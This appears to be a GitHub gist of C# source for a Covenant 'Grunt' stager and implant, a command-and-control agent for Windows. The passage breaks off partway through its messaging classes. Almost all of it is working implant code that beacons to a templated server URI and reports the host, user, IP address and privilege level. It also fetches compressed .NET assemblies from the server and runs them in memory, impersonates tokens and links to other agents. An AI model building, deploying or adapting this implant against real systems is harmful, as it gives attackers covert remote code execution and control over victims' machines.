-
-
Save S3cur3Th1sSh1t/967927eb89b81a5519df61440357f945 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Net; | |
using System.Linq; | |
using System.Text; | |
using System.Text.RegularExpressions; | |
using System.IO.Pipes; | |
using System.Reflection; | |
using System.Collections.Generic; | |
using System.Security.Cryptography; | |
using System.IO; | |
using System.IO.Compression; | |
using System.Threading; | |
using System.Security.Principal; | |
using System.Security.AccessControl; | |
namespace GruntStager | |
{ | |
public class GruntStager | |
{ | |
public GruntStager() | |
{ | |
ExecuteStager(); | |
} | |
[STAThread] | |
public static void Main(string[] args) | |
{ | |
new GruntStager(); | |
} | |
public static void Execute() | |
{ | |
new GruntStager(); | |
} | |
public void ExecuteStager() | |
{ | |
try | |
{ | |
List<string> CovenantURIs = @"{{REPLACE_COVENANT_URIS}}".Split(',').ToList(); | |
string CovenantCertHash = @"{{REPLACE_COVENANT_CERT_HASH}}"; | |
List<string> ProfileHttpHeaderNames = @"{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList(); | |
List<string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList(); | |
List<string> ProfileHttpUrls = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList(); | |
string ProfileHttpPostRequest = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n"); | |
string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n"); | |
bool ValidateCert = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}"); | |
bool UseCertPinning = bool.Parse(@"{{REPLACE_USE_CERT_PINNING}}"); | |
Random random = new Random(); | |
string aGUID = @"{{REPLACE_GRUNT_GUID}}"; | |
string GUID = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10); | |
byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}"); | |
string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}"; | |
Aes SetupAESKey = Aes.Create(); | |
SetupAESKey.Mode = CipherMode.CBC; | |
SetupAESKey.Padding = PaddingMode.PKCS7; | |
SetupAESKey.Key = SetupKeyBytes; | |
SetupAESKey.GenerateIV(); | |
HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes); | |
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters()); | |
byte[] RSAPublicKeyBytes = Encoding.UTF8.GetBytes(rsa.ToXmlString(false)); | |
byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length); | |
byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey); | |
string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash)); | |
ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; | |
ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) => | |
{ | |
bool valid = true; | |
if (UseCertPinning && CovenantCertHash != "") | |
{ | |
valid = cert.GetCertHashString() == CovenantCertHash; | |
} | |
if (valid && ValidateCert) | |
{ | |
valid = errors == System.Net.Security.SslPolicyErrors.None; | |
} | |
return valid; | |
}; | |
string transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body)); | |
CookieWebClient wc = null; | |
string Stage0Response = ""; | |
wc = new CookieWebClient(); | |
wc.UseDefaultCredentials = true; | |
wc.Proxy = WebRequest.DefaultWebProxy; | |
wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials; | |
string CovenantURI = ""; | |
foreach (string uri in CovenantURIs) | |
{ | |
try | |
{ | |
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) | |
{ | |
if (ProfileHttpHeaderNames[i] == "Cookie") | |
{ | |
wc.SetCookies(new Uri(uri), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", "")); | |
} | |
else | |
{ | |
wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", ""), ProfileHttpHeaderValues[i].Replace("{GUID}", "")); | |
} | |
} | |
wc.DownloadString(uri + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", "")); | |
CovenantURI = uri; | |
} | |
catch | |
{ | |
continue; | |
} | |
} | |
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) | |
{ | |
if (ProfileHttpHeaderNames[i] == "Cookie") | |
{ | |
wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID)); | |
} | |
else | |
{ | |
wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID)); | |
} | |
} | |
Stage0Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse)); | |
string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0]; | |
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted)); | |
List<string> parsed = Parse(extracted, MessageFormat); | |
string iv64str = parsed[3]; | |
string message64str = parsed[4]; | |
string hash64str = parsed[5]; | |
byte[] messageBytes = Convert.FromBase64String(message64str); | |
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } | |
SetupAESKey.IV = Convert.FromBase64String(iv64str); | |
byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); | |
byte[] FullyDecrypted = rsa.Decrypt(PartiallyDecrypted, true); | |
Aes SessionKey = Aes.Create(); | |
SessionKey.Mode = CipherMode.CBC; | |
SessionKey.Padding = PaddingMode.PKCS7; | |
SessionKey.Key = FullyDecrypted; | |
SessionKey.GenerateIV(); | |
hmac = new HMACSHA256(SessionKey.Key); | |
byte[] challenge1 = new byte[4]; | |
RandomNumberGenerator rng = RandomNumberGenerator.Create(); | |
rng.GetBytes(challenge1); | |
byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length); | |
hash = hmac.ComputeHash(EncryptedChallenge1); | |
string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash)); | |
transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body)); | |
string Stage1Response = ""; | |
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) | |
{ | |
if (ProfileHttpHeaderNames[i] == "Cookie") | |
{ | |
wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID)); | |
} | |
else | |
{ | |
wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID)); | |
} | |
} | |
Stage1Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse)); | |
extracted = Parse(Stage1Response, ProfileHttpPostResponse)[0]; | |
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted)); | |
parsed = Parse(extracted, MessageFormat); | |
iv64str = parsed[3]; | |
message64str = parsed[4]; | |
hash64str = parsed[5]; | |
messageBytes = Convert.FromBase64String(message64str); | |
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } | |
SessionKey.IV = Convert.FromBase64String(iv64str); | |
byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); | |
byte[] challenge1Test = new byte[4]; | |
byte[] challenge2 = new byte[4]; | |
Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4); | |
Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4); | |
if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test)) { return; } | |
SessionKey.GenerateIV(); | |
byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length); | |
hash = hmac.ComputeHash(EncryptedChallenge2); | |
string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash)); | |
transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body)); | |
string Stage2Response = ""; | |
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) | |
{ | |
if (ProfileHttpHeaderNames[i] == "Cookie") | |
{ | |
wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID)); | |
} | |
else | |
{ | |
wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID)); | |
} | |
} | |
Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse)); | |
/* We dont need all this | |
extracted = Parse(Stage2Response, ProfileHttpPostResponse)[0]; | |
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted)); | |
parsed = Parse(extracted, MessageFormat); | |
iv64str = parsed[3]; | |
message64str = parsed[4]; | |
hash64str = parsed[5]; | |
messageBytes = Convert.FromBase64String(message64str); | |
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } | |
*/ | |
Grunt Stage2 = new Grunt(); | |
Stage2.Execute(CovenantURI, CovenantCertHash, GUID, SessionKey); | |
/*SessionKey.IV = Convert.FromBase64String(iv64str); | |
byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); | |
Assembly gruntAssembly = Assembly.Load(DecryptedAssembly); | |
gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, CovenantCertHash, GUID, SessionKey }); | |
*/ | |
} | |
catch (Exception e) { Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace); } | |
} | |
public class CookieWebClient : WebClient | |
{ | |
public CookieContainer CookieContainer { get; private set; } | |
public CookieWebClient() | |
{ | |
this.CookieContainer = new CookieContainer(); | |
} | |
public void SetCookies(Uri uri, string cookies) | |
{ | |
this.CookieContainer.SetCookies(uri, cookies); | |
} | |
protected override WebRequest GetWebRequest(Uri address) | |
{ | |
var request = base.GetWebRequest(address) as HttpWebRequest; | |
if (request == null) return base.GetWebRequest(address); | |
request.CookieContainer = CookieContainer; | |
return request; | |
} | |
} | |
public static List<string> Parse(string data, string format) | |
{ | |
format = Regex.Escape(format).Replace("\\{", "{").Replace("{{", "{").Replace("}}", "}"); | |
if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); } | |
if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); } | |
if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); } | |
if (format.Contains("{3}")) { format = format.Replace("{3}", "(?'group3'.*)"); } | |
if (format.Contains("{4}")) { format = format.Replace("{4}", "(?'group4'.*)"); } | |
if (format.Contains("{5}")) { format = format.Replace("{5}", "(?'group5'.*)"); } | |
Match match = new Regex(format).Match(data); | |
List<string> matches = new List<string>(); | |
if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); } | |
if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); } | |
if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); } | |
if (match.Groups["group3"] != null) { matches.Add(match.Groups["group3"].Value); } | |
if (match.Groups["group4"] != null) { matches.Add(match.Groups["group4"].Value); } | |
if (match.Groups["group5"] != null) { matches.Add(match.Groups["group5"].Value); } | |
return matches; | |
} | |
public static class MessageTransform | |
{ | |
public static string Transform(byte[] bytes) | |
{ | |
return System.Convert.ToBase64String(bytes); | |
} | |
public static byte[] Invert(string str) | |
{ | |
return System.Convert.FromBase64String(str); | |
} | |
} | |
} | |
class Grunt | |
{ | |
public void Execute(string CovenantURI, string CovenantCertHash, string GUID, Aes SessionKey) | |
{ | |
try | |
{ | |
int Delay = Convert.ToInt32(@"{{REPLACE_DELAY}}"); | |
int Jitter = Convert.ToInt32(@"{{REPLACE_JITTER_PERCENT}}"); | |
int ConnectAttempts = Convert.ToInt32(@"{{REPLACE_CONNECT_ATTEMPTS}}"); | |
DateTime KillDate = DateTime.FromBinary(long.Parse(@"{{REPLACE_KILL_DATE}}")); | |
List<string> ProfileHttpHeaderNames = @"{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList(); | |
List<string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList(); | |
List<string> ProfileHttpUrls = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList(); | |
string ProfileHttpGetResponse = @"{{REPLACE_PROFILE_HTTP_GET_RESPONSE}}".Replace(Environment.NewLine, "\n"); | |
string ProfileHttpPostRequest = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n"); | |
string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n"); | |
bool ValidateCert = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}"); | |
bool UseCertPinning = bool.Parse(@"{{REPLACE_USE_CERT_PINNING}}"); | |
string Hostname = Dns.GetHostName(); | |
string IPAddress = Dns.GetHostAddresses(Hostname)[0].ToString(); | |
foreach (IPAddress a in Dns.GetHostAddresses(Dns.GetHostName())) | |
{ | |
if (a.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) | |
{ | |
IPAddress = a.ToString(); | |
break; | |
} | |
} | |
string OperatingSystem = Environment.OSVersion.ToString(); | |
string Process = System.Diagnostics.Process.GetCurrentProcess().ProcessName; | |
int Integrity = 2; | |
if (Environment.UserName.ToLower() == "system") | |
{ | |
Integrity = 4; | |
} | |
else | |
{ | |
var identity = WindowsIdentity.GetCurrent(); | |
if (identity.Owner != identity.User) | |
{ | |
Integrity = 3; | |
} | |
} | |
string UserDomainName = Environment.UserDomainName; | |
string UserName = Environment.UserName; | |
string RegisterBody = @"{ ""integrity"": " + Integrity + @", ""process"": """ + Process + @""", ""userDomainName"": """ + UserDomainName + @""", ""userName"": """ + UserName + @""", ""delay"": " + Convert.ToString(Delay) + @", ""jitter"": " + Convert.ToString(Jitter) + @", ""connectAttempts"": " + Convert.ToString(ConnectAttempts) + @", ""status"": 0, ""ipAddress"": """ + IPAddress + @""", ""hostname"": """ + Hostname + @""", ""operatingSystem"": """ + OperatingSystem + @""" }"; | |
IMessenger baseMessenger = null; | |
baseMessenger = new HttpMessenger(CovenantURI, CovenantCertHash, UseCertPinning, ValidateCert, ProfileHttpHeaderNames, ProfileHttpHeaderValues, ProfileHttpUrls); | |
baseMessenger.Read(); | |
baseMessenger.Identifier = GUID; | |
TaskingMessenger messenger = new TaskingMessenger | |
( | |
new MessageCrafter(GUID, SessionKey), | |
baseMessenger, | |
new Profile(ProfileHttpGetResponse, ProfileHttpPostRequest, ProfileHttpPostResponse) | |
); | |
messenger.QueueTaskingMessage(RegisterBody); | |
messenger.WriteTaskingMessage(); | |
messenger.SetAuthenticator(messenger.ReadTaskingMessage().Message); | |
try | |
{ | |
// A blank upward write, this helps in some cases with an HTTP Proxy | |
messenger.QueueTaskingMessage(""); | |
messenger.WriteTaskingMessage(); | |
} | |
catch (Exception) { } | |
List<KeyValuePair<string, Thread>> Tasks = new List<KeyValuePair<string, Thread>>(); | |
WindowsImpersonationContext impersonationContext = null; | |
Random rnd = new Random(); | |
int ConnectAttemptCount = 0; | |
bool alive = true; | |
while (alive) | |
{ | |
int change = rnd.Next((int)Math.Round(Delay * (Jitter / 100.00))); | |
if (rnd.Next(2) == 0) { change = -change; } | |
Thread.Sleep((Delay + change) * 1000); | |
try | |
{ | |
GruntTaskingMessage message = messenger.ReadTaskingMessage(); | |
if (message != null) | |
{ | |
ConnectAttemptCount = 0; | |
string output = ""; | |
if (message.Type == GruntTaskingType.SetDelay || message.Type == GruntTaskingType.SetJitter || message.Type == GruntTaskingType.SetConnectAttempts) | |
{ | |
if (int.TryParse(message.Message, out int val)) | |
{ | |
if (message.Type == GruntTaskingType.SetDelay) | |
{ | |
Delay = val; | |
output += "Set Delay: " + Delay; | |
} | |
else if (message.Type == GruntTaskingType.SetJitter) | |
{ | |
Jitter = val; | |
output += "Set Jitter: " + Jitter; | |
} | |
else if (message.Type == GruntTaskingType.SetConnectAttempts) | |
{ | |
ConnectAttempts = val; | |
output += "Set ConnectAttempts: " + ConnectAttempts; | |
} | |
} | |
else | |
{ | |
output += "Error parsing: " + message.Message; | |
} | |
messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name); | |
} | |
else if (message.Type == GruntTaskingType.SetKillDate) | |
{ | |
if (DateTime.TryParse(message.Message, out DateTime date)) | |
{ | |
KillDate = date; | |
output += "Set KillDate: " + KillDate.ToString(); | |
} | |
else | |
{ | |
output += "Error parsing: " + message.Message; | |
} | |
messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name); | |
} | |
else if (message.Type == GruntTaskingType.Exit) | |
{ | |
output += "Exited"; | |
messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name); | |
messenger.WriteTaskingMessage(); | |
return; | |
} | |
else if (message.Type == GruntTaskingType.Tasks) | |
{ | |
if (!Tasks.Where(T => T.Value.IsAlive).Any()) { output += "No active tasks!"; } | |
else | |
{ | |
output += "Task Status" + Environment.NewLine; | |
output += "---- ------" + Environment.NewLine; | |
output += String.Join(Environment.NewLine, Tasks.Where(T => T.Value.IsAlive).Select(T => T.Key + " Active").ToArray()); | |
} | |
messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name); | |
} | |
else if (message.Type == GruntTaskingType.TaskKill) | |
{ | |
var matched = Tasks.Where(T => T.Value.IsAlive && T.Key.ToLower() == message.Message.ToLower()); | |
if (!matched.Any()) | |
{ | |
output += "No active task with name: " + message.Message; | |
} | |
else | |
{ | |
KeyValuePair<string, Thread> t = matched.First(); | |
t.Value.Abort(); | |
Thread.Sleep(3000); | |
if (t.Value.IsAlive) | |
{ | |
t.Value.Suspend(); | |
} | |
output += "Task: " + t.Key + " killed!"; | |
} | |
messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name); | |
} | |
else if (message.Token) | |
{ | |
if (impersonationContext != null) | |
{ | |
impersonationContext.Undo(); | |
} | |
IntPtr impersonatedToken = IntPtr.Zero; | |
Thread t = new Thread(() => impersonatedToken = TaskExecute(messenger, message, Delay)); | |
t.Start(); | |
Tasks.Add(new KeyValuePair<string, Thread>(message.Name, t)); | |
bool completed = t.Join(5000); | |
if (completed && impersonatedToken != IntPtr.Zero) | |
{ | |
try | |
{ | |
WindowsIdentity identity = new WindowsIdentity(impersonatedToken); | |
impersonationContext = identity.Impersonate(); | |
} | |
catch (ArgumentException) { } | |
} | |
else | |
{ | |
impersonationContext = null; | |
} | |
} | |
else | |
{ | |
Thread t = new Thread(() => TaskExecute(messenger, message, Delay)); | |
t.Start(); | |
Tasks.Add(new KeyValuePair<string, Thread>(message.Name, t)); | |
} | |
} | |
messenger.WriteTaskingMessage(); | |
} | |
catch (ObjectDisposedException e) | |
{ | |
ConnectAttemptCount++; | |
messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, "").ToJson()); | |
messenger.WriteTaskingMessage(); | |
} | |
catch (Exception e) | |
{ | |
ConnectAttemptCount++; | |
Console.Error.WriteLine("Loop Exception: " + e.GetType().ToString() + " " + e.Message + Environment.NewLine + e.StackTrace); | |
} | |
if (ConnectAttemptCount >= ConnectAttempts) { return; } | |
if (KillDate.CompareTo(DateTime.Now) < 0) { return; } | |
} | |
} | |
catch (Exception e) | |
{ | |
Console.Error.WriteLine("Outer Exception: " + e.Message + Environment.NewLine + e.StackTrace); | |
} | |
} | |
private static IntPtr TaskExecute(TaskingMessenger messenger, GruntTaskingMessage message, int Delay) | |
{ | |
const int MAX_MESSAGE_SIZE = 1048576; | |
string output = ""; | |
try | |
{ | |
if (message.Type == GruntTaskingType.Assembly) | |
{ | |
string[] pieces = message.Message.Split(','); | |
if (pieces.Length > 0) | |
{ | |
object[] parameters = null; | |
if (pieces.Length > 1) { parameters = new object[pieces.Length - 1]; } | |
for (int i = 1; i < pieces.Length; i++) { parameters[i - 1] = Encoding.UTF8.GetString(Convert.FromBase64String(pieces[i])); } | |
byte[] compressedBytes = Convert.FromBase64String(pieces[0]); | |
byte[] decompressedBytes = Utilities.Decompress(compressedBytes); | |
Assembly gruntTask = Assembly.Load(decompressedBytes); | |
PropertyInfo streamProp = gruntTask.GetType("Task").GetProperty("OutputStream"); | |
string results = ""; | |
if (streamProp == null) | |
{ | |
results = (string)gruntTask.GetType("Task").GetMethod("Execute").Invoke(null, parameters); | |
} | |
else | |
{ | |
Thread invokeThread = new Thread(() => results = (string)gruntTask.GetType("Task").GetMethod("Execute").Invoke(null, parameters)); | |
using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable)) | |
{ | |
using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString())) | |
{ | |
streamProp.SetValue(null, pipeClient, null); | |
DateTime lastTime = DateTime.Now; | |
invokeThread.Start(); | |
using (StreamReader reader = new StreamReader(pipeServer)) | |
{ | |
object synclock = new object(); | |
string currentRead = ""; | |
Thread readThread = new Thread(() => { | |
int count; | |
char[] read = new char[MAX_MESSAGE_SIZE]; | |
while ((count = reader.Read(read, 0, read.Length)) > 0) | |
{ | |
lock (synclock) | |
{ | |
currentRead += new string(read, 0, count); | |
} | |
} | |
}); | |
readThread.Start(); | |
while (readThread.IsAlive) | |
{ | |
Thread.Sleep(Delay * 1000); | |
lock (synclock) | |
{ | |
try | |
{ | |
if (currentRead.Length >= MAX_MESSAGE_SIZE) | |
{ | |
for (int i = 0; i < currentRead.Length; i += MAX_MESSAGE_SIZE) | |
{ | |
string aRead = currentRead.Substring(i, Math.Min(MAX_MESSAGE_SIZE, currentRead.Length - i)); | |
try | |
{ | |
GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Progressed, aRead); | |
messenger.QueueTaskingMessage(response.ToJson(), message.Name); | |
} | |
catch (Exception) { } | |
} | |
currentRead = ""; | |
lastTime = DateTime.Now; | |
} | |
else if (currentRead.Length > 0 && DateTime.Now > (lastTime.Add(TimeSpan.FromSeconds(Delay)))) | |
{ | |
GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Progressed, currentRead); | |
messenger.QueueTaskingMessage(response.ToJson(), message.Name); | |
currentRead = ""; | |
lastTime = DateTime.Now; | |
} | |
} | |
catch (ThreadAbortException) { break; } | |
catch (Exception) { currentRead = ""; } | |
} | |
} | |
output += currentRead; | |
} | |
} | |
} | |
invokeThread.Join(); | |
} | |
output += results; | |
} | |
} | |
else if (message.Type == GruntTaskingType.Connect) | |
{ | |
string[] split = message.Message.Split(','); | |
bool connected = messenger.Connect(split[0], split[1]); | |
output += connected ? "Connection to " + split[0] + ":" + split[1] + " succeeded!" : | |
"Connection to " + split[0] + ":" + split[1] + " failed."; | |
} | |
else if (message.Type == GruntTaskingType.Disconnect) | |
{ | |
bool disconnected = messenger.Disconnect(message.Message); | |
output += disconnected ? "Disconnect succeeded!" : "Disconnect failed."; | |
} | |
} | |
catch (Exception e) | |
{ | |
try | |
{ | |
GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, "Task Exception: " + e.Message + Environment.NewLine + e.StackTrace); | |
messenger.QueueTaskingMessage(response.ToJson(), message.Name); | |
} | |
catch (Exception) { } | |
} | |
finally | |
{ | |
for (int i = 0; i < output.Length; i += MAX_MESSAGE_SIZE) | |
{ | |
string aRead = output.Substring(i, Math.Min(MAX_MESSAGE_SIZE, output.Length - i)); | |
try | |
{ | |
GruntTaskingStatus status = i + MAX_MESSAGE_SIZE < output.Length ? GruntTaskingStatus.Progressed : GruntTaskingStatus.Completed; | |
GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(status, aRead); | |
messenger.QueueTaskingMessage(response.ToJson(), message.Name); | |
} | |
catch (Exception) { } | |
} | |
if (string.IsNullOrEmpty(output)) | |
{ | |
GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, ""); | |
messenger.QueueTaskingMessage(response.ToJson(), message.Name); | |
} | |
} | |
return WindowsIdentity.GetCurrent().Token; | |
} | |
} | |
public enum MessageType | |
{ | |
Read, | |
Write | |
} | |
public class ProfileMessage | |
{ | |
public MessageType Type { get; set; } | |
public string Message { get; set; } | |
} | |
public class MessageEventArgs : EventArgs | |
{ | |
public string Message { get; set; } | |
} | |
public interface IMessenger | |
{ | |
string Hostname { get; } | |
string Identifier { get; set; } | |
string Authenticator { get; set; } | |
EventHandler<MessageEventArgs> UpstreamEventHandler { get; set; } | |
ProfileMessage Read(); | |
void Write(string Message); | |
void Close(); | |
} | |
public class Profile | |
{ | |
private string GetResponse { get; } | |
private string PostRequest { get; } | |
private string PostResponse { get; } | |
public Profile(string GetResponse, string PostRequest, string PostResponse) | |
{ | |
this.GetResponse = GetResponse; | |
this.PostRequest = PostRequest; | |
this.PostResponse = PostResponse; | |
} | |
public GruntEncryptedMessage ParseGetResponse(string Message) { return Parse(this.GetResponse, Message); } | |
public GruntEncryptedMessage ParsePostRequest(string Message) { return Parse(this.PostRequest, Message); } | |
public GruntEncryptedMessage ParsePostResponse(string Message) { return Parse(this.PostResponse, Message); } | |
public string FormatGetResponse(GruntEncryptedMessage Message) { return Format(this.GetResponse, Message); } | |
public string FormatPostRequest(GruntEncryptedMessage Message) { return Format(this.PostRequest, Message); } | |
public string FormatPostResponse(GruntEncryptedMessage Message) { return Format(this.PostResponse, Message); } | |
private static GruntEncryptedMessage Parse(string Format, string Message) | |
{ | |
string json = Common.GruntEncoding.GetString(Utilities.MessageTransform.Invert( | |
Utilities.Parse(Message, Format)[0] | |
)); | |
if (json == null || json.Length < 3) | |
{ | |
return null; | |
} | |
return GruntEncryptedMessage.FromJson(json); | |
} | |
private static string Format(string Format, GruntEncryptedMessage Message) | |
{ | |
return String.Format(Format, | |
Utilities.MessageTransform.Transform(Common.GruntEncoding.GetBytes(GruntEncryptedMessage.ToJson(Message))) | |
); | |
} | |
} | |
public class TaskingMessenger | |
{ | |
private object _UpstreamLock = new object(); | |
private IMessenger UpstreamMessenger { get; set; } | |
private object _MessageQueueLock = new object(); | |
private Queue<string> MessageQueue { get; } = new Queue<string>(); | |
private MessageCrafter Crafter { get; } | |
private Profile Profile { get; } | |
protected List<IMessenger> DownstreamMessengers { get; } = new List<IMessenger>(); | |
public TaskingMessenger(MessageCrafter Crafter, IMessenger Messenger, Profile Profile) | |
{ | |
this.Crafter = Crafter; | |
this.UpstreamMessenger = Messenger; | |
this.Profile = Profile; | |
this.UpstreamMessenger.UpstreamEventHandler += (sender, e) => { | |
this.QueueTaskingMessage(e.Message); | |
this.WriteTaskingMessage(); | |
}; | |
} | |
public GruntTaskingMessage ReadTaskingMessage() | |
{ | |
ProfileMessage readMessage = null; | |
lock (_UpstreamLock) | |
{ | |
readMessage = this.UpstreamMessenger.Read(); | |
} | |
if (readMessage == null) | |
{ | |
return null; | |
} | |
GruntEncryptedMessage gruntMessage = null; | |
if (readMessage.Type == MessageType.Read) | |
{ | |
gruntMessage = this.Profile.ParseGetResponse(readMessage.Message); | |
} | |
else if (readMessage.Type == MessageType.Write) | |
{ | |
gruntMessage = this.Profile.ParsePostResponse(readMessage.Message); | |
} | |
if (gruntMessage == null) | |
{ | |
return null; | |
} | |
else if (gruntMessage.Type == GruntEncryptedMessage.GruntEncryptedMessageType.Tasking) | |
{ | |
string json = this.Crafter.Retrieve(gruntMessage); | |
return (json == null || json == "") ? null : GruntTaskingMessage.FromJson(json); | |
} | |
else | |
{ | |
string json = this.Crafter.Retrieve(gruntMessage); | |
GruntEncryptedMessage wrappedMessage = GruntEncryptedMessage.FromJson(json); | |
